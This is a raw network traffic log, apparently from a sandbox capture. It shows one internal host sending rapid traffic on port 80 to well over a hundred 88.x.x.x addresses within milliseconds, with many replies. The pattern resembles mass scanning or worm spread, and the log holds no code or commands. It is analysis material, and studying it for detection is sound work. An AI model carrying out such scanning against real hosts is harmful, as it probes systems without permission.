Jul 20, 2024 23:10:36.920785904 CEST	58774	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:36.920785904 CEST	58774	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:36.920785904 CEST	58774	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:36.920854092 CEST	58774	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:36.920881987 CEST	58774	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:36.920932055 CEST	58774	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:36.920952082 CEST	58774	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:36.920952082 CEST	58774	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:36.920953035 CEST	58774	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:36.920953035 CEST	58774	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:36.920953035 CEST	58774	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:36.920958996 CEST	58774	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:36.921129942 CEST	58774	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:36.921129942 CEST	58774	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:36.921129942 CEST	58774	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:36.921145916 CEST	58774	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:36.921224117 CEST	58774	80	192.168.2.15	88.107.11.25
Jul 20, 2024 23:10:36.921308994 CEST	58774	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:36.921358109 CEST	58774	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:36.921358109 CEST	58774	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:36.921358109 CEST	58774	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:36.921358109 CEST	58774	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:36.921416998 CEST	58774	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:36.921545982 CEST	58774	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:36.921725035 CEST	58774	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:36.921771049 CEST	58774	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:36.921817064 CEST	58774	80	192.168.2.15	88.156.117.37
Jul 20, 2024 23:10:36.921817064 CEST	58774	80	192.168.2.15	88.10.145.78
Jul 20, 2024 23:10:36.921817064 CEST	58774	80	192.168.2.15	88.67.105.94
Jul 20, 2024 23:10:36.921817064 CEST	58774	80	192.168.2.15	88.248.201.80
Jul 20, 2024 23:10:36.921817064 CEST	58774	80	192.168.2.15	88.64.124.166
Jul 20, 2024 23:10:36.921817064 CEST	58774	80	192.168.2.15	88.31.188.102
Jul 20, 2024 23:10:36.921818018 CEST	58774	80	192.168.2.15	88.49.86.120
Jul 20, 2024 23:10:36.921818018 CEST	58774	80	192.168.2.15	88.30.216.224
Jul 20, 2024 23:10:36.921845913 CEST	58774	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:36.921845913 CEST	58774	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:36.921845913 CEST	58774	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:36.921845913 CEST	58774	80	192.168.2.15	88.239.113.189
Jul 20, 2024 23:10:36.921845913 CEST	58774	80	192.168.2.15	88.127.157.23
Jul 20, 2024 23:10:36.921845913 CEST	58774	80	192.168.2.15	88.35.202.137
Jul 20, 2024 23:10:36.921845913 CEST	58774	80	192.168.2.15	88.104.67.176
Jul 20, 2024 23:10:36.921940088 CEST	58774	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:36.921941996 CEST	58774	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:36.921941996 CEST	58774	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:36.921941996 CEST	58774	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:36.922173977 CEST	58774	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:36.922173977 CEST	58774	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:36.922173977 CEST	58774	80	192.168.2.15	88.56.31.169
Jul 20, 2024 23:10:36.922173977 CEST	58774	80	192.168.2.15	88.192.186.194
Jul 20, 2024 23:10:36.922173977 CEST	58774	80	192.168.2.15	88.195.216.232
Jul 20, 2024 23:10:36.922173977 CEST	58774	80	192.168.2.15	88.194.134.125
Jul 20, 2024 23:10:36.922174931 CEST	58774	80	192.168.2.15	88.48.65.113
Jul 20, 2024 23:10:36.922185898 CEST	58774	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.127.160.45
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.195.247.87
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.215.4.32
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.29.85.62
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.85.81.31
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.5.185.118
Jul 20, 2024 23:10:36.922255993 CEST	58774	80	192.168.2.15	88.77.7.146
Jul 20, 2024 23:10:36.922333956 CEST	58774	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:36.922333956 CEST	58774	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:36.922333956 CEST	58774	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:36.922419071 CEST	58774	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:36.922419071 CEST	58774	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:36.922827005 CEST	58774	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:36.922827005 CEST	58774	80	192.168.2.15	88.218.105.251
Jul 20, 2024 23:10:36.922827005 CEST	58774	80	192.168.2.15	88.186.30.114
Jul 20, 2024 23:10:36.922827005 CEST	58774	80	192.168.2.15	88.245.234.158
Jul 20, 2024 23:10:36.922827005 CEST	58774	80	192.168.2.15	88.170.138.250
Jul 20, 2024 23:10:36.922827005 CEST	58774	80	192.168.2.15	88.234.76.31
Jul 20, 2024 23:10:36.922827959 CEST	58774	80	192.168.2.15	88.102.219.53
Jul 20, 2024 23:10:36.923307896 CEST	58774	80	192.168.2.15	88.72.65.98
Jul 20, 2024 23:10:36.923307896 CEST	58774	80	192.168.2.15	88.246.87.212
Jul 20, 2024 23:10:36.923307896 CEST	58774	80	192.168.2.15	88.219.232.14
Jul 20, 2024 23:10:36.923307896 CEST	58774	80	192.168.2.15	88.149.154.140
Jul 20, 2024 23:10:36.923309088 CEST	58774	80	192.168.2.15	88.104.39.130
Jul 20, 2024 23:10:36.923309088 CEST	58774	80	192.168.2.15	88.53.66.209
Jul 20, 2024 23:10:36.923309088 CEST	58774	80	192.168.2.15	88.223.109.143
Jul 20, 2024 23:10:36.923309088 CEST	58774	80	192.168.2.15	88.60.161.93
Jul 20, 2024 23:10:36.923861980 CEST	58774	80	192.168.2.15	88.7.21.120
Jul 20, 2024 23:10:36.923861980 CEST	58774	80	192.168.2.15	88.249.73.163
Jul 20, 2024 23:10:36.923891068 CEST	58774	80	192.168.2.15	88.50.60.166
Jul 20, 2024 23:10:36.923891068 CEST	58774	80	192.168.2.15	88.169.251.191
Jul 20, 2024 23:10:36.923891068 CEST	58774	80	192.168.2.15	88.162.101.153
Jul 20, 2024 23:10:36.923891068 CEST	58774	80	192.168.2.15	88.254.188.219
Jul 20, 2024 23:10:36.924072981 CEST	80	58774	88.185.132.47	192.168.2.15
Jul 20, 2024 23:10:36.924103975 CEST	80	58774	88.27.3.47	192.168.2.15
Jul 20, 2024 23:10:36.924118042 CEST	80	58774	88.157.99.146	192.168.2.15
Jul 20, 2024 23:10:36.924129963 CEST	58774	80	192.168.2.15	88.185.132.47
Jul 20, 2024 23:10:36.924132109 CEST	80	58774	88.181.133.134	192.168.2.15
Jul 20, 2024 23:10:36.924139023 CEST	58774	80	192.168.2.15	88.27.3.47
Jul 20, 2024 23:10:36.924156904 CEST	80	58774	88.186.97.141	192.168.2.15
Jul 20, 2024 23:10:36.924163103 CEST	58774	80	192.168.2.15	88.157.99.146
Jul 20, 2024 23:10:36.924170971 CEST	80	58774	88.224.24.248	192.168.2.15
Jul 20, 2024 23:10:36.924185991 CEST	80	58774	88.84.173.177	192.168.2.15
Jul 20, 2024 23:10:36.924199104 CEST	80	58774	88.184.141.13	192.168.2.15
Jul 20, 2024 23:10:36.924211025 CEST	80	58774	88.103.233.76	192.168.2.15
Jul 20, 2024 23:10:36.924319983 CEST	80	58774	88.160.95.128	192.168.2.15
Jul 20, 2024 23:10:36.924333096 CEST	80	58774	88.187.164.159	192.168.2.15
Jul 20, 2024 23:10:36.924341917 CEST	58774	80	192.168.2.15	88.3.38.182
Jul 20, 2024 23:10:36.924350977 CEST	80	58774	88.168.180.193	192.168.2.15
Jul 20, 2024 23:10:36.924420118 CEST	80	58774	88.220.255.177	192.168.2.15
Jul 20, 2024 23:10:36.924433947 CEST	80	58774	88.212.206.87	192.168.2.15
Jul 20, 2024 23:10:36.924448013 CEST	80	58774	88.10.201.81	192.168.2.15
Jul 20, 2024 23:10:36.924459934 CEST	80	58774	88.221.243.227	192.168.2.15
Jul 20, 2024 23:10:36.924488068 CEST	58774	80	192.168.2.15	88.10.201.81
Jul 20, 2024 23:10:36.924541950 CEST	80	58774	88.62.42.254	192.168.2.15
Jul 20, 2024 23:10:36.924545050 CEST	58774	80	192.168.2.15	88.181.133.134
Jul 20, 2024 23:10:36.924545050 CEST	58774	80	192.168.2.15	88.224.24.248
Jul 20, 2024 23:10:36.924546003 CEST	58774	80	192.168.2.15	88.184.141.13
Jul 20, 2024 23:10:36.924556971 CEST	80	58774	88.232.161.110	192.168.2.15
Jul 20, 2024 23:10:36.924666882 CEST	80	58774	88.204.80.174	192.168.2.15
Jul 20, 2024 23:10:36.924680948 CEST	80	58774	88.207.212.134	192.168.2.15
Jul 20, 2024 23:10:36.924693108 CEST	80	58774	88.148.109.126	192.168.2.15
Jul 20, 2024 23:10:36.924705029 CEST	80	58774	88.176.0.47	192.168.2.15
Jul 20, 2024 23:10:36.924717903 CEST	80	58774	88.225.148.212	192.168.2.15
Jul 20, 2024 23:10:36.924726963 CEST	58774	80	192.168.2.15	88.207.212.134
Jul 20, 2024 23:10:36.924746990 CEST	80	58774	88.173.192.134	192.168.2.15
Jul 20, 2024 23:10:36.924756050 CEST	58774	80	192.168.2.15	88.225.148.212
Jul 20, 2024 23:10:36.924758911 CEST	80	58774	88.3.103.96	192.168.2.15
Jul 20, 2024 23:10:36.924768925 CEST	58774	80	192.168.2.15	88.171.165.157
Jul 20, 2024 23:10:36.924768925 CEST	58774	80	192.168.2.15	88.160.95.128
Jul 20, 2024 23:10:36.924770117 CEST	58774	80	192.168.2.15	88.220.255.177
Jul 20, 2024 23:10:36.924770117 CEST	58774	80	192.168.2.15	88.221.243.227
Jul 20, 2024 23:10:36.924770117 CEST	58774	80	192.168.2.15	88.204.80.174
Jul 20, 2024 23:10:36.924773932 CEST	80	58774	88.179.172.15	192.168.2.15
Jul 20, 2024 23:10:36.924787045 CEST	80	58774	88.184.156.23	192.168.2.15
Jul 20, 2024 23:10:36.924801111 CEST	58774	80	192.168.2.15	88.3.103.96
Jul 20, 2024 23:10:36.924818993 CEST	58774	80	192.168.2.15	88.173.192.134
Jul 20, 2024 23:10:36.924901962 CEST	80	58774	88.109.79.184	192.168.2.15
Jul 20, 2024 23:10:36.924915075 CEST	80	58774	88.110.66.57	192.168.2.15
Jul 20, 2024 23:10:36.924927950 CEST	80	58774	88.110.50.174	192.168.2.15
Jul 20, 2024 23:10:36.924940109 CEST	80	58774	88.8.102.154	192.168.2.15
Jul 20, 2024 23:10:36.924952984 CEST	80	58774	88.206.157.252	192.168.2.15
Jul 20, 2024 23:10:36.924957037 CEST	58774	80	192.168.2.15	88.110.50.174
Jul 20, 2024 23:10:36.924973965 CEST	58774	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:36.924983025 CEST	80	58774	88.160.211.242	192.168.2.15
Jul 20, 2024 23:10:36.924995899 CEST	80	58774	88.174.33.120	192.168.2.15
Jul 20, 2024 23:10:36.925025940 CEST	58774	80	192.168.2.15	88.109.79.184
Jul 20, 2024 23:10:36.925051928 CEST	58774	80	192.168.2.15	88.84.173.177
Jul 20, 2024 23:10:36.925051928 CEST	58774	80	192.168.2.15	88.187.164.159
Jul 20, 2024 23:10:36.925051928 CEST	58774	80	192.168.2.15	88.179.172.15
Jul 20, 2024 23:10:36.925108910 CEST	58774	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:36.925108910 CEST	58774	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:36.925132036 CEST	80	58774	88.70.91.27	192.168.2.15
Jul 20, 2024 23:10:36.925144911 CEST	80	58774	88.166.84.21	192.168.2.15
Jul 20, 2024 23:10:36.925179005 CEST	80	58774	88.80.210.128	192.168.2.15
Jul 20, 2024 23:10:36.925247908 CEST	80	58774	88.83.51.96	192.168.2.15
Jul 20, 2024 23:10:36.925252914 CEST	58774	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:36.925270081 CEST	80	58774	88.131.52.117	192.168.2.15
Jul 20, 2024 23:10:36.925282955 CEST	80	58774	88.43.49.250	192.168.2.15
Jul 20, 2024 23:10:36.925321102 CEST	58774	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:36.925322056 CEST	58774	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:36.925410032 CEST	80	58774	88.97.87.84	192.168.2.15
Jul 20, 2024 23:10:36.925422907 CEST	80	58774	88.115.2.250	192.168.2.15
Jul 20, 2024 23:10:36.925436020 CEST	80	58774	88.53.212.206	192.168.2.15
Jul 20, 2024 23:10:36.925463915 CEST	58774	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:36.925472975 CEST	80	58774	88.14.192.250	192.168.2.15
Jul 20, 2024 23:10:36.925486088 CEST	80	58774	88.203.15.239	192.168.2.15
Jul 20, 2024 23:10:36.925498009 CEST	80	58774	88.17.190.109	192.168.2.15
Jul 20, 2024 23:10:36.925625086 CEST	80	58774	88.190.112.126	192.168.2.15
Jul 20, 2024 23:10:36.925640106 CEST	80	58774	88.84.71.81	192.168.2.15
Jul 20, 2024 23:10:36.925647020 CEST	58774	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:36.925656080 CEST	80	58774	88.7.110.43	192.168.2.15
Jul 20, 2024 23:10:36.925694942 CEST	58774	80	192.168.2.15	88.232.161.110
Jul 20, 2024 23:10:36.925694942 CEST	58774	80	192.168.2.15	88.176.0.47
Jul 20, 2024 23:10:36.925694942 CEST	58774	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:36.925694942 CEST	58774	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:36.925694942 CEST	58774	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:36.925756931 CEST	80	58774	88.105.34.41	192.168.2.15
Jul 20, 2024 23:10:36.925770044 CEST	80	58774	88.208.60.45	192.168.2.15
Jul 20, 2024 23:10:36.925782919 CEST	80	58774	88.117.202.28	192.168.2.15
Jul 20, 2024 23:10:36.925795078 CEST	80	58774	88.192.255.224	192.168.2.15
Jul 20, 2024 23:10:36.925812006 CEST	58774	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:36.925812006 CEST	58774	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:36.925812006 CEST	58774	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:36.925915003 CEST	58774	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:36.925915956 CEST	58774	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:36.925915956 CEST	58774	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:36.925983906 CEST	80	58774	88.166.76.121	192.168.2.15
Jul 20, 2024 23:10:36.925997019 CEST	80	58774	88.139.130.203	192.168.2.15
Jul 20, 2024 23:10:36.926011086 CEST	80	58774	88.239.107.91	192.168.2.15
Jul 20, 2024 23:10:36.926023006 CEST	80	58774	88.206.166.4	192.168.2.15
Jul 20, 2024 23:10:36.926048040 CEST	80	58774	88.131.16.171	192.168.2.15
Jul 20, 2024 23:10:36.926053047 CEST	58774	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:36.926053047 CEST	58774	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:36.926053047 CEST	58774	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:36.926053047 CEST	58774	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:36.926053047 CEST	58774	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:36.926059961 CEST	80	58774	88.107.11.25	192.168.2.15
Jul 20, 2024 23:10:36.926081896 CEST	58774	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:36.926167965 CEST	80	58774	88.137.64.145	192.168.2.15
Jul 20, 2024 23:10:36.926182032 CEST	80	58774	88.140.27.176	192.168.2.15
Jul 20, 2024 23:10:36.926208019 CEST	80	58774	88.192.51.31	192.168.2.15
Jul 20, 2024 23:10:36.926220894 CEST	80	58774	88.45.173.219	192.168.2.15
Jul 20, 2024 23:10:36.926268101 CEST	80	58774	88.188.190.129	192.168.2.15
Jul 20, 2024 23:10:36.926281929 CEST	80	58774	88.255.190.143	192.168.2.15
Jul 20, 2024 23:10:36.926312923 CEST	58774	80	192.168.2.15	88.255.190.143
Jul 20, 2024 23:10:36.926386118 CEST	80	58774	88.123.146.21	192.168.2.15
Jul 20, 2024 23:10:36.926400900 CEST	80	58774	88.102.2.6	192.168.2.15
Jul 20, 2024 23:10:36.926414013 CEST	80	58774	88.58.50.162	192.168.2.15
Jul 20, 2024 23:10:36.926436901 CEST	58774	80	192.168.2.15	88.102.2.6
Jul 20, 2024 23:10:36.926568031 CEST	80	58774	88.126.87.180	192.168.2.15
Jul 20, 2024 23:10:36.926580906 CEST	80	58774	88.180.237.224	192.168.2.15
Jul 20, 2024 23:10:36.926595926 CEST	80	58774	88.45.23.189	192.168.2.15
Jul 20, 2024 23:10:36.926626921 CEST	58774	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:36.926626921 CEST	58774	80	192.168.2.15	88.137.64.145
Jul 20, 2024 23:10:36.926656961 CEST	58774	80	192.168.2.15	88.180.237.224
Jul 20, 2024 23:10:36.926682949 CEST	80	58774	88.86.198.212	192.168.2.15
Jul 20, 2024 23:10:36.926697016 CEST	80	58774	88.68.210.140	192.168.2.15
Jul 20, 2024 23:10:36.926703930 CEST	58774	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:36.926703930 CEST	58774	80	192.168.2.15	88.107.11.25
Jul 20, 2024 23:10:36.926703930 CEST	58774	80	192.168.2.15	88.192.51.31
Jul 20, 2024 23:10:36.926703930 CEST	58774	80	192.168.2.15	88.58.50.162
Jul 20, 2024 23:10:36.926856041 CEST	80	58774	88.114.90.66	192.168.2.15
Jul 20, 2024 23:10:36.926870108 CEST	80	58774	88.9.81.209	192.168.2.15
Jul 20, 2024 23:10:36.926872969 CEST	58774	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:36.926872969 CEST	58774	80	192.168.2.15	88.140.27.176
Jul 20, 2024 23:10:36.926872969 CEST	58774	80	192.168.2.15	88.188.190.129
Jul 20, 2024 23:10:36.926872969 CEST	58774	80	192.168.2.15	88.45.23.189
Jul 20, 2024 23:10:36.926882029 CEST	58774	80	192.168.2.15	88.86.198.212
Jul 20, 2024 23:10:36.926891088 CEST	80	58774	88.38.225.220	192.168.2.15
Jul 20, 2024 23:10:36.926897049 CEST	58774	80	192.168.2.15	88.114.90.66
Jul 20, 2024 23:10:36.926913977 CEST	80	58774	88.30.5.37	192.168.2.15
Jul 20, 2024 23:10:36.926963091 CEST	80	58774	88.72.94.182	192.168.2.15
Jul 20, 2024 23:10:36.926975965 CEST	80	58774	88.148.148.170	192.168.2.15
Jul 20, 2024 23:10:36.926987886 CEST	80	58774	88.126.200.244	192.168.2.15
Jul 20, 2024 23:10:36.927076101 CEST	58774	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:36.927076101 CEST	58774	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:36.927076101 CEST	58774	80	192.168.2.15	88.45.173.219
Jul 20, 2024 23:10:36.927076101 CEST	58774	80	192.168.2.15	88.123.146.21
Jul 20, 2024 23:10:36.927076101 CEST	58774	80	192.168.2.15	88.148.148.170
Jul 20, 2024 23:10:36.927133083 CEST	58774	80	192.168.2.15	88.9.81.209
Jul 20, 2024 23:10:36.927133083 CEST	58774	80	192.168.2.15	88.30.5.37
Jul 20, 2024 23:10:36.927324057 CEST	58774	80	192.168.2.15	88.38.225.220
Jul 20, 2024 23:10:36.927324057 CEST	58774	80	192.168.2.15	88.72.94.182
Jul 20, 2024 23:10:36.927366972 CEST	58774	80	192.168.2.15	88.68.210.140
Jul 20, 2024 23:10:36.927366972 CEST	58774	80	192.168.2.15	88.126.200.244
Jul 20, 2024 23:10:36.927615881 CEST	80	58774	88.220.223.245	192.168.2.15
Jul 20, 2024 23:10:36.927634001 CEST	80	58774	88.157.224.130	192.168.2.15
Jul 20, 2024 23:10:36.927649021 CEST	80	58774	88.213.118.236	192.168.2.15
Jul 20, 2024 23:10:36.927673101 CEST	58774	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:36.927687883 CEST	58774	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:36.927700043 CEST	80	58774	88.152.223.131	192.168.2.15
Jul 20, 2024 23:10:36.927712917 CEST	80	58774	88.41.108.187	192.168.2.15
Jul 20, 2024 23:10:36.927726030 CEST	80	58774	88.24.107.94	192.168.2.15
Jul 20, 2024 23:10:36.927736998 CEST	58774	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:36.927736998 CEST	80	58774	88.129.16.77	192.168.2.15
Jul 20, 2024 23:10:36.927886963 CEST	58774	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:36.927901983 CEST	80	58774	88.96.105.176	192.168.2.15
Jul 20, 2024 23:10:36.927911043 CEST	58774	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:36.927911043 CEST	58774	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:36.927939892 CEST	58774	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:36.928009987 CEST	58774	80	192.168.2.15	88.220.223.245
Jul 20, 2024 23:10:36.928569078 CEST	80	58774	88.171.6.187	192.168.2.15
Jul 20, 2024 23:10:36.928584099 CEST	80	58774	88.47.49.23	192.168.2.15
Jul 20, 2024 23:10:36.928597927 CEST	80	58774	88.196.182.254	192.168.2.15
Jul 20, 2024 23:10:36.928610086 CEST	58774	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:36.928611040 CEST	80	58774	88.75.37.88	192.168.2.15
Jul 20, 2024 23:10:36.928612947 CEST	58774	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:36.928625107 CEST	80	58774	88.161.198.162	192.168.2.15
Jul 20, 2024 23:10:36.928646088 CEST	58774	80	192.168.2.15	88.75.37.88
Jul 20, 2024 23:10:36.928649902 CEST	80	58774	88.25.45.56	192.168.2.15
Jul 20, 2024 23:10:36.928663969 CEST	80	58774	88.203.133.168	192.168.2.15
Jul 20, 2024 23:10:36.928666115 CEST	58774	80	192.168.2.15	88.161.198.162
Jul 20, 2024 23:10:36.928678036 CEST	80	58774	88.235.245.133	192.168.2.15
Jul 20, 2024 23:10:36.928692102 CEST	80	58774	88.125.105.239	192.168.2.15
Jul 20, 2024 23:10:36.928704977 CEST	80	58774	88.81.127.213	192.168.2.15
Jul 20, 2024 23:10:36.928709984 CEST	58774	80	192.168.2.15	88.203.133.168
Jul 20, 2024 23:10:36.928719044 CEST	58774	80	192.168.2.15	88.235.245.133
Jul 20, 2024 23:10:36.928728104 CEST	80	58774	88.159.165.167	192.168.2.15
Jul 20, 2024 23:10:36.928741932 CEST	80	58774	88.239.113.189	192.168.2.15
Jul 20, 2024 23:10:36.928754091 CEST	80	58774	88.218.105.251	192.168.2.15
Jul 20, 2024 23:10:36.928778887 CEST	80	58774	88.127.160.45	192.168.2.15
Jul 20, 2024 23:10:36.928792000 CEST	80	58774	88.127.157.23	192.168.2.15
Jul 20, 2024 23:10:36.928792953 CEST	58774	80	192.168.2.15	88.81.127.213
Jul 20, 2024 23:10:36.928805113 CEST	80	58774	88.195.247.87	192.168.2.15
Jul 20, 2024 23:10:36.928814888 CEST	58774	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:36.928817987 CEST	80	58774	88.186.30.114	192.168.2.15
Jul 20, 2024 23:10:36.928831100 CEST	80	58774	88.215.4.32	192.168.2.15
Jul 20, 2024 23:10:36.928843975 CEST	80	58774	88.183.185.95	192.168.2.15
Jul 20, 2024 23:10:36.928855896 CEST	80	58774	88.245.234.158	192.168.2.15
Jul 20, 2024 23:10:36.928880930 CEST	80	58774	88.56.31.169	192.168.2.15
Jul 20, 2024 23:10:36.928894997 CEST	80	58774	88.29.85.62	192.168.2.15
Jul 20, 2024 23:10:36.928906918 CEST	80	58774	88.170.138.250	192.168.2.15
Jul 20, 2024 23:10:36.928920031 CEST	80	58774	88.192.186.194	192.168.2.15
Jul 20, 2024 23:10:36.928919077 CEST	58774	80	192.168.2.15	88.56.31.169
Jul 20, 2024 23:10:36.928925991 CEST	58774	80	192.168.2.15	88.125.105.239
Jul 20, 2024 23:10:36.928925991 CEST	58774	80	192.168.2.15	88.159.165.167
Jul 20, 2024 23:10:36.928925991 CEST	58774	80	192.168.2.15	88.218.105.251
Jul 20, 2024 23:10:36.928925991 CEST	58774	80	192.168.2.15	88.186.30.114
Jul 20, 2024 23:10:36.928925991 CEST	58774	80	192.168.2.15	88.245.234.158
Jul 20, 2024 23:10:36.928932905 CEST	80	58774	88.234.76.31	192.168.2.15
Jul 20, 2024 23:10:36.928958893 CEST	80	58774	88.195.216.232	192.168.2.15
Jul 20, 2024 23:10:36.928972960 CEST	80	58774	88.85.81.31	192.168.2.15
Jul 20, 2024 23:10:36.928985119 CEST	80	58774	88.35.202.137	192.168.2.15
Jul 20, 2024 23:10:36.928997040 CEST	80	58774	88.102.219.53	192.168.2.15
Jul 20, 2024 23:10:36.929009914 CEST	80	58774	88.104.67.176	192.168.2.15
Jul 20, 2024 23:10:36.929013968 CEST	58774	80	192.168.2.15	88.127.160.45
Jul 20, 2024 23:10:36.929013968 CEST	58774	80	192.168.2.15	88.195.247.87
Jul 20, 2024 23:10:36.929013968 CEST	58774	80	192.168.2.15	88.215.4.32
Jul 20, 2024 23:10:36.929013968 CEST	58774	80	192.168.2.15	88.29.85.62
Jul 20, 2024 23:10:36.929013968 CEST	58774	80	192.168.2.15	88.85.81.31
Jul 20, 2024 23:10:36.929033041 CEST	80	58774	88.7.21.120	192.168.2.15
Jul 20, 2024 23:10:36.929048061 CEST	80	58774	88.50.60.166	192.168.2.15
Jul 20, 2024 23:10:36.929053068 CEST	58774	80	192.168.2.15	88.25.45.56
Jul 20, 2024 23:10:36.929053068 CEST	58774	80	192.168.2.15	88.239.113.189
Jul 20, 2024 23:10:36.929053068 CEST	58774	80	192.168.2.15	88.127.157.23
Jul 20, 2024 23:10:36.929053068 CEST	58774	80	192.168.2.15	88.35.202.137
Jul 20, 2024 23:10:36.929053068 CEST	58774	80	192.168.2.15	88.104.67.176
Jul 20, 2024 23:10:36.929061890 CEST	80	58774	88.5.185.118	192.168.2.15
Jul 20, 2024 23:10:36.929075003 CEST	80	58774	88.249.73.163	192.168.2.15
Jul 20, 2024 23:10:36.929117918 CEST	58774	80	192.168.2.15	88.192.186.194
Jul 20, 2024 23:10:36.929117918 CEST	58774	80	192.168.2.15	88.195.216.232
Jul 20, 2024 23:10:36.929487944 CEST	58774	80	192.168.2.15	88.170.138.250
Jul 20, 2024 23:10:36.929487944 CEST	58774	80	192.168.2.15	88.234.76.31
Jul 20, 2024 23:10:36.929487944 CEST	58774	80	192.168.2.15	88.102.219.53
Jul 20, 2024 23:10:36.929487944 CEST	58774	80	192.168.2.15	88.7.21.120
Jul 20, 2024 23:10:36.929487944 CEST	58774	80	192.168.2.15	88.249.73.163
Jul 20, 2024 23:10:36.929539919 CEST	58774	80	192.168.2.15	88.50.60.166
Jul 20, 2024 23:10:36.929668903 CEST	58774	80	192.168.2.15	88.5.185.118
Jul 20, 2024 23:10:36.929733992 CEST	80	58774	88.194.134.125	192.168.2.15
Jul 20, 2024 23:10:36.929748058 CEST	80	58774	88.169.251.191	192.168.2.15
Jul 20, 2024 23:10:36.929760933 CEST	80	58774	88.77.7.146	192.168.2.15
Jul 20, 2024 23:10:36.929774046 CEST	80	58774	88.162.101.153	192.168.2.15
Jul 20, 2024 23:10:36.929780960 CEST	58774	80	192.168.2.15	88.169.251.191
Jul 20, 2024 23:10:36.929790974 CEST	58774	80	192.168.2.15	88.194.134.125
Jul 20, 2024 23:10:36.929791927 CEST	80	58774	88.72.65.98	192.168.2.15
Jul 20, 2024 23:10:36.929797888 CEST	58774	80	192.168.2.15	88.77.7.146
Jul 20, 2024 23:10:36.929881096 CEST	80	58774	88.3.38.182	192.168.2.15
Jul 20, 2024 23:10:36.929889917 CEST	58774	80	192.168.2.15	88.162.101.153
